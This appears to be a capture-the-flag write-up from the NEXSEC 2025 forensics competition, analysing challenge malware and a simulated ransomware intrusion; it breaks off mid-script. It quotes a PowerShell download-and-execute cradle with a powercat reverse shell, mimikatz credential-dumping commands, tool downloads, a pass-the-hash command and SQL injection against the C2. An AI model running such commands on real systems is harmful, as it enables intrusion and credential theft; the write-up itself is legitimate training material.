> For the complete documentation index, see [llms.txt](https://fyr3p4w.gitbook.io/fyr3p4w-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://fyr3p4w.gitbook.io/fyr3p4w-blog/ctfs/nexsec-2025-intervarsity-cyber-forensics-challenge.md).

# NEXSEC 2025 - Intervarsity Cyber Forensics Challenge

This is our writeup for Team Bla Bla Bla which consists of me and 2 Forensic 🐐.

## Preliminary Round

### Rev/Advisory

**Q1 : The binary presents itself as a legitimate document viewer, but preliminary analysis suggests otherwise. Reverse-engineer the binary and identify the DLL name used by the malware to blend in with legitimate system files.**

Analyzing the distributed files, we are given a binary, a Word document and a dll file

<figure><img src="/files/qQpEeF75hnzGEiI0fGel" alt=""><figcaption></figcaption></figure>

When analyzing the binary in IDA, we can see it calls

```c
hModule = LoadLibraryA("vcruntime140.dll");
```

LoadLibraryA is a Windows API function used to dynamically load a DLL at runtime rather than linking it statically at compile time

> nexsec25{vcruntime140.dll}

**Q2 : What directory does the malware copy itself to?**

By examining the malware’s control flow in main(), we see that the executable does not perform any direct copying itself. Instead, it loads a malicious, trojanized vcruntime140.dll and the main program behaviour is inside the DLL.

<figure><img src="/files/5gyqQoOy1SREWFQSivGn" alt=""><figcaption></figcaption></figure>

That DLL function explicitly copies itself to

```
C:\ProgramData\MicrosoftSyncService\vcruntime140.dll
```

> nexsec25{C:\ProgramData\MicrosoftSyncService}

**Q3 : Uncover the exported function used to achieve persistence.**

<figure><img src="/files/ZRkVxeptalsR8MWAmQSA" alt=""><figcaption></figcaption></figure>

Based on our findings earlier, we have identified that `__vcrt_InitializeCriticalSectionEx` is the function that is being called.

> nexsec25{\_\_vcrt\_InitializeCriticalSectionEx}

**Q4 : What is the command and control (C2) domain that the implant communicates with?**

When looking for a command and control (C2) domain, we suspected that the string could be encrypted and began looking for decryption routines

<figure><img src="/files/TP3TgF5ipyaQhj5LPa9c" alt=""><figcaption></figcaption></figure>

Looking at the imported functions, we can see that theres Crypto APIs being called. We then proceeded to trace where it was being called.

<figure><img src="/files/C48D7FWVc7tiKqhgQIFK" alt=""><figcaption></figcaption></figure>

Looking at its cross references, we can see the function to decrypt is being called here at CreateFrameInfo(). The data being decrypted is located at unk\_25D7F5020 and it has a size of 0x270 bytes. Our next step would be to identify the encryption algorithm.

<figure><img src="/files/s7P8kWGKKvdMy6LkOZAh" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HtLI0zQX86sTiomJ8864" alt=""><figcaption></figcaption></figure>

Looking at the API docs for CryptImportKey, it expects a pbData struct

<figure><img src="/files/LflzbixIVrelmyvLOI15" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IxAHrSN795cDwWLaN9pw" alt=""><figcaption></figcaption></figure>

The PUBLICKEYSTRUC expects a aiKeyAlg parameter which determines the encryption algorithm.

<figure><img src="/files/t5yGAKmGSSrnoHju3pdl" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LxISE4kXRUc4j3hqIC2j" alt=""><figcaption></figcaption></figure>

By examining this structure in IDA and cross-referencing the ALG\_ID value with official documentation, the algorithm was identified as Triple DES (3DES).

Key Material (from hardcoded QWORDs)

```
0xEFCDAB8967452301
0x1032547698BADCFE
0x67452301EFCDAB89
```

pbData = 0x12\`, so the IV becomes

```
12 00 00 00 00 00 00 00
```

Then, we can recreate a decryption script like this

<details>

<summary>decrypt.py</summary>

```python
#!/usr/bin/env python3
import struct
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad

DLL_PATH = "vcruntime140.dll"  # update if needed

# --- Hardcoded 3DES key from malware (3 × QWORD little-endian) ---
key_qwords = [
    0xEFCDAB8967452301,
    0x1032547698BADCFE,
    0x67452301EFCDAB89,
]
key = b"".join(struct.pack("<Q", q) for q in key_qwords)

# IV used by malware (pbData = 0x12)
iv = b"\x12" + b"\x00" * 7

# Encrypted blob parameters
BLOB_OFFSET = 0x20
BLOB_SIZE   = 0x270

# ---------------- PE PARSER ----------------
with open(DLL_PATH, "rb") as f:
    data = f.read()

# DOS → e_lfanew
e_lfanew = struct.unpack_from("<I", data, 0x3C)[0]

# NT headers
num_sections = struct.unpack_from("<H", data, e_lfanew + 6)[0]
opt_header_size = struct.unpack_from("<H", data, e_lfanew + 20)[0]

# Section table starts here
section_table = e_lfanew + 24 + opt_header_size

rdata_raw = None

for i in range(num_sections):
    off = section_table + i * 40
    sec_name = data[off:off+8].rstrip(b"\x00").decode("ascii", errors="ignore")

    if sec_name == ".rdata":
        # correct PE section header layout
        virtual_size   = struct.unpack_from("<I", data, off + 8)[0]
        virtual_addr   = struct.unpack_from("<I", data, off + 12)[0]
        raw_size       = struct.unpack_from("<I", data, off + 16)[0]
        raw_ptr        = struct.unpack_from("<I", data, off + 20)[0]
        rdata_raw = raw_ptr
        break

if rdata_raw is None:
    print("[!] Could not locate .rdata section")
    exit(1)

# Extract encrypted blob
enc = data[rdata_raw + BLOB_OFFSET : rdata_raw + BLOB_OFFSET + BLOB_SIZE]

# 3DES decryption
cipher = DES3.new(key, DES3.MODE_CBC, iv)
pt = cipher.decrypt(enc)

# Remove PKCS#7 padding
try:
    pt_un = unpad(pt, 8)
except ValueError:
    pt_un = pt

print("Decrypted length:", len(pt_un))
print("First 64 bytes:", pt_un[:64].hex())

with open("decrypted_payload.bin", "wb") as f:
    f.write(pt_un)

print("[+] Saved decrypted_payload.bin")
```

</details>

Looking at the strings from the decrypted shellcode, we can find our domain name after removing the "H" at the end of the string

<figure><img src="/files/hBrL9irczSyHhcogUjSU" alt=""><figcaption></figcaption></figure>

The decrypted shellcode ultimately reconstructs the following command

```ps1
powershell -nop -c "IEX (New-Object System.Net.Webclient).DownloadString('https://tinyurl.com/b4yh4sxh'); powercat -c fj3m58a9.capturextheflag.io -p 9999 -e cmd"
```

> nexsec25{fj3m58a9.capturextheflag.io}

### Rev/QuackBot

**Q1 : We identified a phishing campaign that uses several evasion techniques to deliver malware. Our visibility is limited to the malicious email attachment; any activity beyond that point requires further malware analysis. Analyse the malware to find what evil action being done by it.**

<figure><img src="/files/HXxmysJdac3LNd83VseC" alt=""><figcaption></figcaption></figure>

Noticed the QuackBot.quack file is a PYC compiled binary

<figure><img src="/files/YK80omc2St4nmtawHo2x" alt=""><figcaption></figcaption></figure>

Reversed it using pylingual and noticed that it is a Kramer compiled binary, so we used <https://github.com/jcarndt/kramer_decryptor/blob/main/kramer_decryptor.py> to decrypt but ran into issues

<figure><img src="/files/xXzVS7Dv3X748Tb04Mv5" alt=""><figcaption></figcaption></figure>

It seems to be unable to extract the necessary ceb6 patterns even though the QuackBot.quack file clearly had the ceb6 pattern. So I modified the script such that the regex is more relaxed and is capable of finding the ceb6 pattern

<details>

<summary>parse.py</summary>

```py
import argparse
import binascii
import re

def parse_arguments():
    parser = argparse.ArgumentParser(description="Decrypt a .pyc file that has been encrypted with Kramer encryption.")

    parser.add_argument(
        '-f', '--file',
        required=True,
        help='Path to the input file'
    )

    parser.add_argument(
        '-k', '--key',
        required=False,
        default=None,
        type=int,
        help='Key value to use for decrypting file (if known)'
    )

    return parser.parse_args()

class Kyrie(): #<- Class taken directly from Kramer encryptor

    def _dkyrie(text: str):
        r = ""
        for a in text:
            if a in strings:
                i = strings.index(a)+1
                if i >= len(strings):
                    i = 0
                a = strings[i]
            r += a
        return r

    def _encrypt(text: str, key: str = None):
        if type(key) == str:
            key = sum(ord(i) for i in key)
        t = [chr(ord(t)+key)if t != "\n" else "ζ" for t in text]
        return "".join(t)

    def _decrypt(text: str, key: str = None):
        if type(key) == str:
            key = sum(ord(i) for i in key)
        return "".join(chr(ord(t)-key) if t != "ζ" else "\n" for t in text)

class Key: #<- Class taken directly from Kramer encryptor

    def encrypt(e: str, key: str):
        e1 = Kyrie._ekyrie(e)
        return Kyrie._encrypt(e1, key=key)

    def decrypt(e: str, key: str):
        text = Kyrie._decrypt(e, key=key)
        return Kyrie._dkyrie(text)
    
python_indicators = {
    'keywords': {'import'} #<- Add more words as you see fit like 'def', 'str', 'int', 'set', 'list', 'dict'
    #'keywords': {'import', 'def', 'str', 'int'} <- Example
}

strings = "abcdefghijklmnopqrstuvwxyz0123456789"

def main():
    args = parse_arguments()

    file_path = args.file
    key = args.key

    if '\\' in file_path:
        file = file_path.split('\\')[-1]
    elif '/' in file_path:
        file = file_path.split('/')[-1]
    else:
        file = file_path

    #Open file
    with open(file_path, 'rb') as f:
        content = f.read().decode('latin-1', errors='ignore')

    #Grab necessary encrypted strings from .pyc file
    pattern = r'ceb6.*ceb6\)'
    match = re.search(r'ceb6.*?\)', content, flags=re.DOTALL)
    if not match:
        raise SystemExit("No match for encrypted blob (looked for 'ceb6 ... )'). Try searching for the actual delimiter.")
    result = match.group(0)
    if match:
        result = match.group(0)

    #If key argument is provided
    if key is not None:
        print(f"Using key: {key}")
        content_split = result.split('/')

        _content_ = ""
        key = key

        #Decrypt content
        for item in content_split:
            try:
                unhexed = binascii.unhexlify(item).decode() #<- Unhexlify first
                _content_ += Key.decrypt(unhexed, key=key) #<- Send to decryptor
            except:
                pass

        #Create file name
        file = file + "_decrypted_" + str(key) + ".py.txt"
        print("DECRYPTED CONTENT: " + file)
        #Output _content_ to file
        with open(file, 'w', encoding='utf-8') as f:
            f.write(_content_)

    #If no key is provided
    else:
        print("**BRUTE FORCING KEY**")
        
        #Grab only beginning content, adjust as you see fit.
        first_600 = result[:600]
        content_split = first_600.split('/')

        #Begin brute forcing
        i = 3
        while i < 1000001:
            _content_ = ""

            for item in content_split:
                try:
                    unhexed = binascii.unhexlify(item).decode() #<- Unhexlify first
                    _content_ += Key.decrypt(unhexed, key=i) #<- Send to decryptor
                except:
                    pass
            for keyword in python_indicators['keywords']: #<- Check if likely a decrypted python script
                if keyword in _content_:
                    print("KEY: " + str(i) + "\r\nOUTPUT:\r\n" +_content_) #<- If so, print key used as well as output to verify
            i += 1

if __name__ == "__main__":
    main()

```

</details>

<figure><img src="/files/cEfxaPRGalU6v7vfnAxD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/451AElnhSiqX3oLr2s85" alt=""><figcaption></figcaption></figure>

After successfully decrypting it, it seems like it is running shellcode.

We were unable to emulate the shellcode using scdbg. Hence we converted the shellcode to an exe using <https://github.com/accidentalrebel/shcode2exe> and analyzed it in IDA.

<figure><img src="/files/2MOjaxX4DB2ImMcSJRKN" alt=""><figcaption></figcaption></figure>

Main entry point calls sub\_4063c5

**PEB Walk**

<figure><img src="/files/XkmOATvCoB336UorcTeK" alt=""><figcaption></figcaption></figure>

sub\_40C13C dynamically resolves a function address without using GetProcAddress by walking the Process Environment Block (PEB) and inspecting the export tables of all loaded modules. It is a core component of a hash-based API resolution mechanism commonly used in malware loaders and shellcode.

```c
int __cdecl sub_40C13C(
    int ctx,
    int hash_lo,
    int hash_hi,
    int hash_key1,
    int hash_key2
);
```

The hash\_lo and hash\_hi are both 32 bit values that are combined to form a 64 bit value which would be the expected hash after calculating the hash of the module name and the function name. The hashing is calculated from:

```
hash(module_name) XOR hash(function_name)
```

<details>

<summary>poc.py</summary>

```py
from typing import Tuple
import struct

MASK32 = 0xFFFFFFFF

def rol32(x, r):
    return ((x << r) & MASK32) | ((x & MASK32) >> (32 - r))

def ror32(x, r):
    return ((x & MASK32) >> r) | ((x << (32 - r)) & MASK32)

def sub_40C246(block_words: Tuple[int,int,int,int], a2: int, a3: int) -> Tuple[int,int]:
    """
    Implements the core compression loop from the decompiled sub_40C246.
    Inputs:
      - block_words: tuple of four 32-bit words [w0, w1, w2, w3] (little-endian from 16 bytes)
      - a2, a3: 32-bit state values (input)
    Returns:
      - (result, a3_final) as 32-bit unsigned ints
    """
    # initialize as in decomp
    v6 = block_words[3]  # a1[3]
    v7 = block_words[2]  # a1[2]
    v8 = block_words[0]  # *a1
    v10 = block_words[1] # a1[1]
    result = a2
    # loop 0..0x1A (27 iterations)
    for v5 in range(0x1B):  # 27 rounds
        v9 = v6
        # result = v8 ^ (a3 + ROR(result,8))
        result = (v8 ^ ((a3 + ror32(result, 8)) & MASK32)) & MASK32
        # v6 = v5 ^ (v8 + ROR(v10,8))
        v6 = (v5 ^ ((v8 + ror32(v10, 8)) & MASK32)) & MASK32
        # a3 = result ^ ROL(a3,3)
        a3 = (result ^ rol32(a3, 3)) & MASK32
        # v10 = v7
        v10 = v7
        # v8 = v6 ^ ROL(v8,3)
        v8 = (v6 ^ rol32(v8, 3)) & MASK32
        # v7 = v9
        v7 = v9
    # return result and the final a3 value (these are the two 32-bit outputs we will use)
    return result & MASK32, a3 & MASK32

def pad_and_hash(name_bytes: bytes, seed_a2: int, seed_a3: int) -> Tuple[int,int]:
    """
    Implements sub_40C17F-like streaming + padding. Returns two 32-bit words (a2_final, a3_final).
    We follow the decompiled logic: buffering up to 16 bytes, applying 0x80 padding, writing bit-length
    into the last dword (8*length), and calling the compression. The mapping used here returns
    (a2_final, a3_final) where each compression returns (ret, new_a3) and we XOR both into state.
    """
    # Buffer processing similar to the decompiled loop.
    a2 = seed_a2 & MASK32
    a3 = seed_a3 & MASK32
    total_bytes = 0
    buf = bytearray()
    done_flag = False
    # append bytes into buffer until we hit NUL or reach 64 bytes (the decomp checks for v4==64)
    # but here we simply consume the whole input
    # The decomp reads bytes up to first NUL; so we should stop at first NUL if present.
    # The code lowercased the module name earlier; caller ensures input is lowercased.
    # We'll use the provided bytes as-is and stop at the first 0 if present.
    for i, b in enumerate(name_bytes):
        if b == 0 or i == 64:
            break
        buf.append(b)
        total_bytes += 1

    # Now perform padding and compress as in the decompiled function.
    # Process in 16-byte blocks
    i = 0
    blocks = []
    data = bytes(buf)
    # The decompiled code had a fairly specific padding: append 0x80 then zero out remaining, possibly compress twice.
    # We'll follow the standard "append 0x80, then zeros, then length in bits in last dword", with at most two compressions.
    # Build a single padded buffer
    pad = bytearray(data)
    pad.append(0x80)
    # pad with zeros until length % 16 == 12 (so we can put 4-byte length at end) OR pad full block if needed
    while (len(pad) % 16) != 12:
        pad.append(0x00)
    # append 4-byte little-endian bit length
    bitlen = (total_bytes * 8) & MASK32
    pad += struct.pack('<I', bitlen)
    # Now split into 16-byte blocks
    blocks = [pad[j:j+16] for j in range(0, len(pad), 16)]
    # For each block, call compression
    for block in blocks:
        # interpret as 4 little-endian uint32 words
        w = struct.unpack('<4I', block)
        ret, out_a3 = sub_40C246(w, a2, a3)
        # XOR into states as a reasonable mapping of the decompiled register interactions
        a2 = (a2 ^ ret) & MASK32
        a3 = (a3 ^ out_a3) & MASK32
    return a2, a3

def hash_name(name: str, seed_a2: int, seed_a3: int) -> Tuple[int,int]:
    # The caller lowercases module names first. For exports, the name is used as-is.
    # We'll lowercase module names where requested by caller externally.
    b = name.encode('ascii', errors='ignore')
    return pad_and_hash(b, seed_a2, seed_a3)

# constants from your dump (these are compared as XOR results in peb_walk)
TARGET_A3 = 0xB0A9C6C0
TARGET_A4 = 0x6197C707
SEED_A5 = 0xE1F5C30F
SEED_A6 = 0x5FBF2E07

# test names
module = "kernel32.dll"
export = "CreateThread"

# note: module names in the decomp are lowercased before hashing
mod_hash = hash_name(module.lower(), SEED_A5, SEED_A6)
exp_hash = hash_name(export, SEED_A5, SEED_A6)

print("Module:", module, "-> hash pair (hex):", tuple(hex(x) for x in mod_hash))
print("Export:", export, "-> hash pair (hex):", tuple(hex(x) for x in exp_hash))

# compute XORs and compare with targets
xor1 = mod_hash[0] ^ exp_hash[0]
xor2 = mod_hash[1] ^ exp_hash[1]
print("\nComputed XORs:")
print("mod_hash[0] ^ exp_hash[0] =", hex(xor1), " expected:", hex(TARGET_A3))
print("mod_hash[1] ^ exp_hash[1] =", hex(xor2), " expected:", hex(TARGET_A4))
print("\nMatch A3?", xor1 == TARGET_A3)
print("Match A4?", xor2 == TARGET_A4)

# If it didn't match, try a small search over plausible case variants for module and export
if xor1 != TARGET_A3 or xor2 != TARGET_A4:
    print("\nTrying variations of case (module) and common export forms...")
    candidates_mod = [module, module.lower(), module.upper(), module.replace(".dll","")]
    candidates_exp = [export, export.lower(), export.upper(), export.replace("Create","create")]
    found = []
    for cm in set(candidates_mod):
        mh = hash_name(cm.lower(), SEED_A5, SEED_A6)
        for ce in set(candidates_exp):
            eh = hash_name(ce, SEED_A5, SEED_A6)
            if (mh[0] ^ eh[0]) == TARGET_A3 and (mh[1] ^ eh[1]) == TARGET_A4:
                found.append((cm, ce, mh, eh))
    if found:
        print("Found match(s):")
        for cm, ce, mh, eh in found:
            print("  Module:", cm, "Export:", ce)
            print("   mod hash:", tuple(hex(x) for x in mh))
            print("   exp hash:", tuple(hex(x) for x in eh))
    else:
        print("No match found with simple variations. The original decomp used register outputs from the compression in a slightly different way.")
        print("If you want, I can try to exactly emulate the register-based outputs (using multiple values returned by the compression) to replicate the original match exactly.")

# End of script. You can copy this to a .py file and run locally.

```

</details>

<figure><img src="/files/xPDjvebUz2wJGsa1wx8z" alt=""><figcaption></figcaption></figure>

Knowing that it will dynamically resolve WindowsAPI, the common targets would be VirtualAlloc(). So, we had an idea that the shellcode will eventually copy the next stage payload somewhere

<figure><img src="/files/Bl8vFTri6U2DYega8Fc7" alt=""><figcaption></figcaption></figure>

After debugging the shellcode, we find out that it will call sub\_40ab95()

<figure><img src="/files/16HCZvRhEWUXic8TJ8VD" alt=""><figcaption></figcaption></figure>

sub\_40C5B1() copies a really large blob of bytes from somewhere to a memory region located at v6. After that sub\_40C2A9() decrypts that payload.

<figure><img src="/files/I0VP3x5iDvL6lnrzqls2" alt=""><figcaption></figcaption></figure>

We set a breakpoint at the call to sub\_40C2A9(). It appears that argument 1 is our key, argument 2 is the IV and argument 3 is the destination buffer for the decrypted payload. Hence, our goal is to dump the values at 0x001B023C with the length of 0x5184 bytes.

<details>

<summary>ida_memdump.py</summary>

```py
import ida_bytes
import idc

def memdump(ea, size, file):
    data = ida_bytes.get_bytes(ea, size)
    if data is None:
        print("Failed to read memory at 0x{:X}".format(ea))
        return

    with open(file, "wb") as fp:
        fp.write(data)
        print("Memdump Success!")

```

</details>

Use this ida script to dump the binary after sub\_40C2A9() completes execution

<figure><img src="/files/tWj8p4ememYSTxY5bcjl" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Cc3cpMqJ1jH9VqGLfrUc" alt=""><figcaption></figcaption></figure>

Now there are readable strings inside and it looks like theres an exe embedded inside.

<figure><img src="/files/5O9pMRAHD8gSJooZS4uw" alt=""><figcaption></figcaption></figure>

We extracted the exe using dd. The resulting binary seems to be making a bind shell by opening a TCP listener, and it executes a cmd.exe command.

<figure><img src="/files/nPcYQYhVZBjByaTxoJnO" alt=""><figcaption></figcaption></figure>

The variable off\_140003000 also contains a bunch of invalid IP addresses. We can decode these IP addresses from octal back to decimal to get the flag

> nexsec25{513afc1272b40668995da3f69faeee5b37dd58beccc9fbf41cc3b44a58669de6}

## Final Round

We were given 40gb worth of artefacts which consists :

* ova file of Workstation (patient 0)
* ova file of FS server
* packet capture (pcap) of FS server
* Splunk instance

After trying to start the VM and lagging for 10 minutes whenever the VM was booting up, I realised this couldnt continue if I were to be able to continue analyzing it. So I extracted the .ova file using 7z and obtained a vmdk file. Then, converted it to a format that FTK Imager can read.

```
qemu-img convert -O raw FS-disk1.vmdk fs.raw
```

<figure><img src="/files/2c0E4ojj3L1N6LRY8jbj" alt=""><figcaption></figcaption></figure>

Another interesting thing was, there were no challenge questions given to us and we would have to investigate it ourself and come up with all the IOCs, technical details and timeline of events. The questions would only be released about 1 hour before the competition ended for us to submit all of our findings.

Without knowing what questions may come up, it was important to gather all the details and IOCs first. This writeup will focus on answering the final questions and would not necessarily reflect our thought processes when initially looking for the artefacts

### MD5 Madness

**What is the SHA256 hash of the malware?**&#x20;

<figure><img src="/files/vz2G1cp4HSegAPqu4IGr" alt=""><figcaption></figcaption></figure>

When navigating to the Public folder, we found explorer.exe here which should'nt be in this folder in the first place. So we uploaded it to [VirusTotal](https://www.virustotal.com/gui/file/59cebd35102c4164a6ca164b6bda97afe56984cb35c3f572a66343f774474542?nocache=1). Later on when we reversed this binary, we will find out that it is actually the C2 agent thats running.

> NEXSEC25{59CEBD35102C4164A6CA164B6BDA97AFE56984CB35C3F572A66343F774474542}

### File Name I

**Identify the initial file responsible for the compromise**

When analyzing powershell commands in Splunk, we noticed there was a suspicious powershell command with a parent process coming from WINWORD.EXE which suggests the user may have opened a macro enabled document.

{% code overflow="wrap" %}

```
C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\fakhri.zambri\Documents\YEAR-END-FINANCIAL-REPORT-2025.docx" /o "
```

{% endcode %}

Virustotal however identified the document as exploiting CVE-2017-0199, a vulnerability that allows arbitrary code execution when a document references a malicious external template

> N**E**XSEC25{YEAR-END-FINANCIAL-REPORT-2025.docx}

### Credential Catcher

**What file did the attackers use to dump the credentials?**

Once again, when analyzing powershell commands in Splunk, we found a mimikatz binary renamed into a different name.

{% code overflow="wrap" %}

```
"powershell.exe" iwr -Uri 'https://github.com/TomatoTerbang/BrainRil/raw/refs/heads/main/Neurotransmitter' -Outfile 'C:\Windows\Temp\Neurotransmitter.exe'; echo N

"powershell.exe" C:\Windows\Temp\Neurotransmitter.exe "lsadump::lsa /inject" exit

"powershell.exe" C:\Windows\Temp\Neurotransmitter.exe "sekurlsa::logonpasswords" exit
```

{% endcode %}

> NEXSEC25{Neurotransmitter.exe}

### Acteur de la menace

**What is the name of the Threat Actor?**

There were clues scattered around the filesystem about the name of the Threat Actor. We can also navigate to the IP address of the C2 and find the login page.

<figure><img src="/files/3aqZ96JCwtLYNTIqCS95" alt=""><figcaption></figcaption></figure>

> NEXSEC25{SilentRimba}

### Adversary Tool Hosting Activity

**Identify the username associated with the account used by the threat actor to host additional tools.**

{% code overflow="wrap" %}

```
"powershell.exe" iwr -Uri 'https://github.com/TomatoTerbang/BrainRil/raw/refs/heads/main/Neurotransmitter' -Outfile 'C:\Windows\Temp\Neurotransmitter.exe'; echo N

"powershell.exe" Set-ExecutionPolicy Bypass; iwr -Uri 'https://github.com/TomatoTerbang/BrainRil/raw/refs/heads/main/BrocaArea' -Outfile 'C:\Windows\Temp\BrocaArea.ps1'; echo B

"powershell.exe" iwr -Uri "https://github.com/TomatoTerbang/BrainRil/raw/refs/heads/main/Cerebrum" -Outfile 'C:\Windows\Temp\Cerebrum.ps1';echo C
```

{% endcode %}

> NEXSEC25{TomatoTerbang}

### Internal Propagation Account

**Which user account was abused by the threat actor to facilitate lateral movement across internal systems?**

After the attacker managed to dump OS credentials, they used Cerebrum.ps1 to perform Pass-the-Hash into FS-CORP.

{% code overflow="wrap" %}

```
Set-ExecutionPolicy Bypass; Import-Module C:\Windows\Temp\Cerebrum.ps1; ; Invoke-LargeBrain -target 10.10.111.176 -Domain corp.local -hash 7cd2184b08d975c26b0368cb3ef4edee -username itdadmin -command 'powershell -e IAAoAG4AZQBXAC0AbwBCAGoAZQBjAFQAIAAgAHMAWQBzAFQAZQBtAC4ASQBvA
...
<REDACTED>
...
ASABFAGwATABJAGQAWwAxAF0AKwAkAHMAaABFAEwATABpAEQAWwAxADMAXQArACcAWAAnACkA'
```

{% endcode %}

> NEXSEC25{itdadmin}

### Victime d'un logiciel de rançon

**Who is the patient zero of this ransomware attack?**

We have identified that fakhri.zambri received the phishing email and opened the document.

> NEXSEC25{fakhri.zambri}

### Command and Control

**What is the IP address associated with the Command-and-Control (C2) server utilized by the adversary?**

explorer.exe is a dotnet binary that is intentionally protected by Eziriz .NET Reactor to make it hard to reverse engineer. The main functionalities are located in NetworkDiagnostics.dll

<figure><img src="/files/imZ8EjnxiglJKyz0nDxF" alt=""><figcaption></figcaption></figure>

> NEXSEC25{209.97.175.18}

### Lateral Movement

**Based on Mitre Att\&ck ID, what is lateral movement used by the threat actor?**

Based on

```
C:\Windows\Temp\Cerebrum.ps1
```

The script closely resembles Invoke-WMIExec. The [Mitre Att\&ck ID](https://attack.mitre.org/techniques/T1047/) for this is T1047

> nexsec25{T1047}

### Key Decryption

**Identify the hash of the decryption key associated with the compromised file share server**

Before looking for the decryption key, we analyzed the ransomware. The ransomware generates a random 32 byte AES key for each file that is being encrypted. Then, the AES key is encrypted using a hardcoded RSA public key.

```
[ 0 ───── 255 ]       RSA-encrypted AES key (256 bytes)
[ 256 ─── end ]       AES-encrypted file content
```

Without knowing the attacker's private key, it is impossible to be able to decrypt the files. After finding nothing in the file system, we turned our attention to the attacker's C2 infrastructure.

Going through the endpoints of 209.97.175.18, only /victim is valid. The /victim endpoint seems to be vulnerable to SQL injection in the uniqueID parameter

<figure><img src="/files/osM15iTtyMk7MI9JGTrv" alt=""><figcaption></figcaption></figure>

Then, using SQLMap we dumped the database.

<figure><img src="/files/8xKPqtEaBa36VrDQHPdY" alt=""><figcaption></figcaption></figure>

When dumping the c2 database victims table, we can find a unique\_agentId column for itdadmin which has the value `c18dabd3-bd18-453e-ba11-ba51ef1d5120`

<figure><img src="/files/pG0MQdxj2N4ABaXpAQ03" alt=""><figcaption></figcaption></figure>

When dumping the agents table, we can find the agent\_uniqueId as well as base64 encoded blobs. One of them is the public key and another is the private key. After identifying the private key, we can decrypt our files and recover what was lost. By calculating the sha256 of the private key we get

> NEXSEC25{b706d87ab56ecb51bbbfc98d62d6642a86b898f49f028b665761917dabb4a2b0}

### File Recovery

**As part of the recovery effort, restore the contents of C:\Users\itdadmin\Documents\2025. Once recovered, determine the SHA-256 hash of the file "report-of-june-2025\_compressed.pdf"**

With the private key, we can just write a decryption script

<details>

<summary>decrypt.py</summary>

```py
import os
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES

# ============================================================
# RSA PRIVATE KEY (PKCS#8)
# ============================================================
PRIVATE_KEY_PEM = b"""-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDkO46CUMQh5w19
RevmIeIuR52joaq5h/YQS6q3dwiUbpNZtPc7aUyt5krDYDTqNA7Gcb21mTebMAdk
2HxadEPhUe1wEDPoWKWrkR59nqjPzewVuIVzLof5IZteeSM03ULRZuGTsm45fF4y
HxiHPUmuIucmeg5GcUBbgvz1alHzehWeZESILQ2T+fVEfmP/oDQ/c2upwY32CwST
7XaJsroYwNJ+Vsk83x94tZKHiYo85ZlOOUT0f3ECYoFBnraOrmeJLQ42TJFbUjrG
In76YWH30vXy2AYFw61yFEBTMjCbBLB62dkkXJF/4uMcJWJUygH/cTfUCnuhfmvn
hXCfbBRfAgMBAAECggEAAyQms/h0mprZfq3lr0csG8L0knn5JZCPfG3uLZQ/0/sp
oARzmqe6XHJc+Q9r6wVIZsbN+5/eOg6RK3wnSf9rp8A+6lnuvPXrYc8fgk8at7F3
3FyryYgMawthXg2AxIt/De7CkAvWpIfnq/ztk37ucq0cTVVEuQd6AUhuPtp1wkoX
Nl07SdFRo3HP2vWTWlWMa/rKVk7BuDWQIVGeg8b2vfEVHZ6GZ1Tnj5KH2QvpKnba
sXarCxZXTuCxVOXMattrKKfQbsOAKeSFKcd1wlKdQe+T+k+CfbNfC8DpVv5xTqBA
98jjiMf51dd0sXnZO+3sCCTuq8QuqDhdWeajzpK7AQKBgQDsyk1OGHVt42nszE6k
ErHqeOI5Ruj8waMoAepgGq7y2RUp67ETEfkkWxLHeKC/YuL0QnxdWr5F83TH3L8z
s30Y8m+OJifKiwDyL55wdeL2n+eMERY91YO+JYJDBnpaNGRXBsJlLlm/9igQQdHO
Tt9pQADZ124pzODfw7eYUSEOHwKBgQD2v4dzlZNzMrSPWI+XFPn+akR6KcXT6R1n
9Nmys9h9xIuSPHhLfok0T4+ojY8MBbZBDZ8+hFwErm6EJz+idRDynLU+nzRoMTAP
vYFZgYy6p7fItQ9Rx0caHprC3GO+QdruKTSYYf/OLxxNw3e0cN6wAHFFYWf6TTrm
4oeKw6OxwQKBgQDaSLgw+Q0vywf32nPYfr9ythNd18eqUdtVY0arZ43Fo2cGKRco
zFXPNQG/zqzpIYC0yaGZ8bAcDg2mvRGp2JnG6J77/KKL7c5mdI1rgNFEpy4uCgZl
5DG5lRxbK1qZU1j4fOuxmKP1+Tb/nZ2KwVzkyrK+HwGYGR1oSiUyjf+Z4wKBgFQE
NS/TD2jbLAXfJs1PtCu/rV9XV+fm6T9bbMDfYei5ArkhY+h4xmkMaiL/SGTUkREn
fUCBOv/REQpofs9nQwUI/OG8vdB4ZyAE68U5SlzH/NkXZYb37qrjHtkYx9GhhNUx
LJpyS/K9scp8swa6o+iTzf3Mw+XDZDn3iiViphtBAoGAcgCNpMWSmHMUsToDkJOJ
wzJq2bWnJ5fJoX360D9vRQyU58D4176X92+ljyeoYcGUMMgI7zz6Aff9T1/3dvaY
lezJa0jmLZ7cUWERmuyPopLChbJitt+caUqwbHMKiR0c2yLe5XaQK0qToEQCtI+S
JS3owTjTHA3h8bbSF7cKHg4=
-----END PRIVATE KEY-----"""

# ============================================================
# ROOT DIRECTORY
# ============================================================
ROOT_DIR = r"C:\Users\Jeremy Phang Kah Chu\Downloads\Documents"

# ============================================================
# CRYPTO SETUP
# ============================================================
rsa_key = RSA.import_key(PRIVATE_KEY_PEM)
rsa_cipher = PKCS1_v1_5.new(rsa_key)

recovered = 0
failed = 0

# ============================================================
# WALK + DECRYPT
# ============================================================
for root, _, files in os.walk(ROOT_DIR):
    for name in files:
        if not name.endswith(".anon"):
            continue

        anon_path = os.path.join(root, name)
        out_path = anon_path[:-5]  # Remove .anon extension

        try:
            with open(anon_path, "rb") as f:
                data = f.read()

            # The file structure is:
            # [256 bytes RSA-encrypted AES key] + [remaining bytes: AES-encrypted file]
            rsa_blob = data[:256]
            aes_blob = data[256:]

            # RSA decrypt the AES key (returns raw 32-byte AES key)
